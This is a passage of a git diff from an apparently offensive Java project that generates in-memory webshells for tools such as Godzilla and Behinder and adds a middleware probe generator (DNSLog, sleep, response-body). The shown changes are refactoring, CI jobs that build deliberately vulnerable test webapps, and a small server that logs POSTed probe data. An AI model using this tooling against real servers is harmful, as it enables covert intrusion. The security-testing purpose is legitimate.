integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java create mode 100644 integration-test/src/test/resources/infos/Apusic10ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Apusic9ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/GlassFish3ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/GlassFish4ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/GlassFish501ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/GlassFish510ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/GlassFish6ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/GlassFish7ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/InforSuite10ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/InforSuite9ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jboss423ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jboss510ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jboss610ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jboss711ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/JbossEap6ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/JbossEap7ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty10ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty11ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty12ee10ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty12ee8ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty12ee9ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty61ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty75ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty76ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty81ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty92ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty93ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Jetty94ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Payara5201ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Payara520225ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Payara620222ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Primeton65ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Resin3116ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Resin318ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Resin4058ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Resin4067ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/SpringBoot1ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/SpringBoot2ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/SpringBoot2JettyContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/SpringBoot2UndertowContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/SpringBoot2WarContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/SpringBoot2WebFluxContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/SpringBoot3ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/SpringBoot3WebFluxContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Tomcat10ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Tomcat11ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Tomcat11JRE21ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Tomcat5ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Tomcat6ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Tomcat7ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Tomcat8ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Tomcat9ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/TongWeb6ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/TongWeb7ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/TongWeb8ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/WebLogic1036ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/WebLogic12214ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/WebLogic14110ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/WebSphere700ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/WebSphere855ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/WebSphere905ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Wildfly18ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Wildfly23ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Wildfly30ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Wildfly9ContainerTestBasicInfo.txt rename web/src/components/{tips => memshell}/jre-tip.tsx (100%) rename web/src/components/{ => memshell}/main-config-card.tsx (84%) rename web/src/components/{ => memshell}/package-config-card.tsx (94%) rename web/src/components/{ => memshell}/quick-usage.tsx (100%) rename web/src/components/{ => memshell}/results/agent.tsx (90%) rename web/src/components/{ => memshell}/results/basic-info.tsx (94%) rename web/src/components/{ => memshell}/results/feedback-alert.tsx (94%) rename web/src/components/{ => memshell}/results/jar-result.tsx (86%) rename web/src/components/{ => memshell}/results/multi-packer.tsx (94%) rename web/src/components/{ => memshell}/results/result-component.tsx (90%) rename web/src/components/{ => memshell}/shell-result.tsx (95%) rename web/src/components/{tools => memshell/tabs}/antsword-tab.tsx (85%) rename web/src/components/{tools => memshell/tabs}/behinder-tab.tsx (83%) rename web/src/components/{tools => memshell/tabs}/classname-field.tsx (90%) rename web/src/components/{tools => memshell/tabs}/command-tab.tsx (90%) rename web/src/components/{tools => memshell/tabs}/custom-tab.tsx (87%) rename web/src/components/{tools => memshell/tabs}/godzilla-tab.tsx (85%) rename web/src/components/{tools => memshell/tabs}/neoreg-tab.tsx (79%) rename web/src/components/{tools => memshell/tabs}/shelltype-field.tsx (87%) rename web/src/components/{tools => memshell/tabs}/suo5-tab.tsx (79%) rename web/src/components/{tools => memshell/tabs}/urlpattern-field.tsx (84%) create mode 100644 web/src/components/probe/basic-info.tsx create mode 100644 web/src/components/probe/main-config-card.tsx create mode 100644 web/src/components/probe/package-config-card.tsx create mode 100644 web/src/components/probe/quick-usage.tsx create mode 100644 web/src/components/probe/shell-result.tsx delete mode 100644 web/src/pages/detection.tsx create mode 100644 web/src/pages/probe.tsx create mode 100644 web/src/types/probe.ts diff --git a/.github/workflows/test.yaml b/.github/workflows/test.yaml index d5faf794..0dc882e5 100644 --- a/.github/workflows/test.yaml +++ b/.github/workflows/test.yaml @@ -61,7 +61,7 @@ jobs: exit 1 fi - integration-test: + memshell-integration-test: strategy: fail-fast: false matrix: @@ -114,7 +114,60 @@ jobs: run: ./gradlew ${{ matrix.cases.depend_tasks }} - name: Integration Test with gradle - run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info + run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info - name: Export Integration Test Summary - run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY \ No newline at end of file + run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY + + detection-integration-test: + strategy: + fail-fast: false + matrix: + cases: + - middleware: "tomcat" + depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war" + - middleware: "jetty" + depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" + - middleware: "jbossas" + depend_tasks: ":vul:vul-webapp:war" + - middleware: "jbosseap" + depend_tasks: ":vul:vul-webapp:war" + - middleware: "wildfly" + depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" + - middleware: "glassfish" + depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" + - middleware: "resin" + depend_tasks: ":vul:vul-webapp:war" + - middleware: "payara" + depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" + - middleware: "websphere" + depend_tasks: ":vul:vul-webapp:war" + - middleware: "websphere7" + depend_tasks: ":vul:vul-webapp:war" + - middleware: "weblogic" + depend_tasks: ":vul:vul-webapp:war" + - middleware: "springwebmvc" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" + - middleware: "springwebflux" + depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" + runs-on: ubuntu-latest + name: ${{ matrix.cases.middleware }} + needs: [ unit-test ] + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Setup Java + uses: actions/setup-java@v4 + with: + distribution: 'temurin' + java-version: 17 + + - name: Setup Gradle + uses: gradle/actions/setup-gradle@v4 + + - name: Prepare for Integration Test + run: ./gradlew ${{ matrix.cases.depend_tasks }} + + - name: Integration Test with gradle + run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info \ No newline at end of file diff --git a/asserts/http_post_server.py b/asserts/http_post_server.py new file mode 100644 index 00000000..2710ddc4 --- /dev/null +++ b/asserts/http_post_server.py @@ -0,0 +1,35 @@ +import http.server +import socketserver + +PORT = 8000 +TARGET_PATH = "/api/v1/data" + + +class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler): + def do_POST(self): + if self.path == TARGET_PATH: + try: + content_length = int(self.headers['Content-Length']) + post_data_bytes = self.rfile.read(content_length) + post_data_str = post_data_bytes.decode('utf-8') + print("-----------------------------\n") + print(f"Client IP: {self.client_address}") + print(f"Request Header:\n{self.headers}") + print(f"Request Body:\n{post_data_str}") + print("-----------------------------\n") + self.send_response(200) + self.send_header('Content-type', 'application/json') + self.end_headers() + response_message = '{"status": "success"}' + self.wfile.write(response_message.encode('utf-8')) + except Exception as e: + print(f"Parse POST failed: {e}") + self.send_response(500) + else: + print("Make sure use " + TARGET_PATH + " rather than " + self.path) + self.send_response(404) + + +with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd: + print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ") + httpd.serve_forever() diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java index 3f4021f4..8c7101d1 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.boot.dto.GenerateRequest; import com.reajason.javaweb.boot.dto.GenerateResponse; import com.reajason.javaweb.memshell.MemShellGenerator; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; @@ -27,7 +27,7 @@ public class GeneratorController { ShellConfig shellConfig = request.getShellConfig(); ShellToolConfig shellToolConfig = request.parseShellToolConfig(); InjectorConfig injectorConfig = request.getInjectorConfig(); - GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); + MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); Packer packer = request.getPacker().getInstance(); if (packer instanceof JarPacker) { return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeGeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeGeneratorController.java new file mode 100644 index 00000000..48be3239 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeGeneratorController.java @@ -0,0 +1,33 @@ +package com.reajason.javaweb.boot.controller; + +import com.reajason.javaweb.boot.dto.ProbeGenerateRequest; +import com.reajason.javaweb.boot.dto.ProbeGenerateResponse; +import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.probe.ProbeGenerator; +import com.reajason.javaweb.probe.ProbeResult; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ProbeContentConfig; +import org.springframework.web.bind.annotation.*; + +/** + * @author ReaJason + * @since 2025/8/10 + */ +@RestController +@RequestMapping("/probe/generate") +@CrossOrigin("*") +public class ProbeGeneratorController { + @PostMapping + public ProbeGenerateResponse generate(@RequestBody ProbeGenerateRequest request) { + ProbeConfig probeConfig = request.getProbeConfig(); + ProbeContentConfig probeContentConfig = request.parseProbeContentConfig(); + ProbeResult generateResult = ProbeGenerator.generate(probeConfig, probeContentConfig); + Packer packer = request.getPacker().getInstance(); + if (packer instanceof AggregatePacker) { + return new ProbeGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); + } else { + return new ProbeGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); + } + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java index 8019d807..5dc8afae 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.boot.dto; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.MemShellResult; import lombok.Data; import lombok.NoArgsConstructor; @@ -13,16 +13,16 @@ import java.util.Map; @Data @NoArgsConstructor public class GenerateResponse { - private GenerateResult generateResult; + private MemShellResult generateResult; private String packResult; private Map allPackResults; - public GenerateResponse(GenerateResult generateResult, String packResult) { + public GenerateResponse(MemShellResult generateResult, String packResult) { this.generateResult = generateResult; this.packResult = packResult; } - public GenerateResponse(GenerateResult generateResult, Map allPackResults) { + public GenerateResponse(MemShellResult generateResult, Map allPackResults) { this.allPackResults = allPackResults; this.generateResult = generateResult; } diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateRequest.java new file mode 100644 index 00000000..1433f4d6 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateRequest.java @@ -0,0 +1,44 @@ +package com.reajason.javaweb.boot.dto; + +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.config.*; +import lombok.Data; + +/** + * @author ReaJason + * @since 2025/8/10 + */ +@Data +public class ProbeGenerateRequest { + private ProbeConfig probeConfig; + private ProbeContentConfigDTO probeContentConfig; + private Packers packer; + + @Data + static class ProbeContentConfigDTO { + private String host; + private int seconds; + private String server; + private String sleepServer; + private String reqParamName; + private String reqHeaderName; + } + + public ProbeContentConfig parseProbeContentConfig() { + return switch (probeConfig.getProbeMethod()) { + case DNSLog -> DnsLogConfig.builder() + .host(probeContentConfig.host) + .build(); + case Sleep -> SleepConfig.builder() + .seconds(probeContentConfig.seconds) + .server(probeContentConfig.sleepServer) + .build(); + case ResponseBody -> ResponseBodyConfig.builder() + .reqParamName(probeContentConfig.reqParamName) + .reqHeaderName(probeContentConfig.reqHeaderName) + .server(probeContentConfig.server) + .build(); + default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod()); + }; + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateResponse.java new file mode 100644 index 00000000..7f1636ec --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateResponse.java @@ -0,0 +1,29 @@ +package com.reajason.javaweb.boot.dto; + +import com.reajason.javaweb.probe.ProbeResult; +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/8/10 + */ +@Data +@NoArgsConstructor +public class ProbeGenerateResponse { + private ProbeResult probeResult; + private String packResult; + private Map allPackResults; + + public ProbeGenerateResponse(ProbeResult probeResult, String packResult) { + this.probeResult = probeResult; + this.packResult = packResult; + } + + public ProbeGenerateResponse(ProbeResult probeResult, Map allPackResults) { + this.allPackResults = allPackResults; + this.probeResult = probeResult; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/Constants.java b/generator/src/main/java/com/reajason/javaweb/Constants.java new file mode 100644 index 00000000..e3e15135 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/Constants.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb; + +/** + * @author ReaJason + * @since 2025/8/5 + */ +public class Constants { + public static class Server { + public static final String TOMCAT = "Tomcat"; + public static final String JETTY = "Jetty"; + public static final String UNDERTOW = "Undertow"; + public static final String JBOSS = "JBoss"; + public static final String RESIN = "Resin"; + public static final String WEBLOGIC = "WebLogic"; + public static final String WEBSPHERE = "WebSphere"; + public static final String GLASSFISH = "GlassFish"; + public static final String TONGWEB = "TongWeb"; + public static final String BES = "BES"; + public static final String INFORSUITE = "InforSuite"; + public static final String APUSIC = "Apusic"; + public static final String SPRING_WEBFLUX = "SpringWebFlux"; + public static final String SPRING_WEBMVC = "SpringWebMvc"; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 007647a3..752b7980 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell; -import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; @@ -18,7 +17,7 @@ import java.util.Map; */ public class MemShellGenerator { - public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { + public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { Server server = shellConfig.getServer(); AbstractShell shell = server.getShell(); if (shell == null) { @@ -57,7 +56,7 @@ public class MemShellGenerator { byte[] injectorBytes = injectorGenerator.generate(); Map innerClassBytes = injectorGenerator.getInnerClassBytes(); - return GenerateResult.builder() + return MemShellResult.builder() .shellConfig(shellConfig) .shellToolConfig(shellToolConfig) .injectorConfig(injectorConfig) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellResult.java similarity index 85% rename from generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java rename to generator/src/main/java/com/reajason/javaweb/memshell/MemShellResult.java index 7cf04e57..48d1d544 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellResult.java @@ -1,5 +1,8 @@ -package com.reajason.javaweb.memshell.config; +package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.JarPackerConfig; import lombok.AllArgsConstructor; @@ -18,8 +21,8 @@ import java.util.Map; @Data @NoArgsConstructor @AllArgsConstructor -@Builder(builderClassName = "GenerateResultBuilder") -public class GenerateResult { +@Builder(builderClassName = "Builder") +public class MemShellResult { private String shellClassName; private transient byte[] shellBytes; private long shellSize; @@ -33,8 +36,8 @@ public class GenerateResult { private ShellToolConfig shellToolConfig; private InjectorConfig injectorConfig; - public static class GenerateResultBuilder { - public GenerateResult build() { + public static class Builder { + public MemShellResult build() { if (shellBytes != null) { shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes); shellSize = shellBytes.length; @@ -43,7 +46,7 @@ public class GenerateResult { injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes); injectorSize = injectorBytes.length; } - return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, + return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java index 28178caf..f8b3b6bd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java @@ -3,15 +3,12 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; -import net.bytebuddy.asm.AsmVisitorWrapper; import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FixedValue; -import java.util.Collections; - import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.takesArguments; @@ -22,13 +19,9 @@ import static net.bytebuddy.matcher.ElementMatchers.takesArguments; public class ListenerGenerator { public static DynamicType.Builder build(DynamicType.Builder builder, Class implInterceptor, Class targetClass, String newClassName) { - builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods() - .method(named("getResponseFromRequest"), - new MethodCallReplaceVisitorWrapper( - newClassName, - Collections.singleton(ShellCommonUtil.class.getName())) - ) - ) + builder = builder + .visit(MethodCallReplaceVisitorWrapper.newInstance( + "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName())) .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))); boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java index 6d2af5d3..c3b3036f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -8,14 +8,11 @@ import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; -import net.bytebuddy.asm.AsmVisitorWrapper; import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FixedValue; -import java.util.Collections; - import static net.bytebuddy.matcher.ElementMatchers.named; /** @@ -43,13 +40,8 @@ public class CommandGenerator extends ByteBuddyShellGenerator { if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) { builder = builder - .visit(new AsmVisitorWrapper.ForDeclaredMethods() - .method(named("getParam"), - new MethodCallReplaceVisitorWrapper( - shellToolConfig.getShellClassName(), - Collections.singleton(ShellCommonUtil.class.getName())) - ) - ) + .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam", + shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName())) .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC) .withParameters(String.class) .throwing(Exception.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java index cb021685..dc47cfb9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java @@ -61,4 +61,8 @@ public class ShellCommonUtil { } } } + + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + return null; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java new file mode 100644 index 00000000..03dd6b72 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java @@ -0,0 +1,14 @@ +package 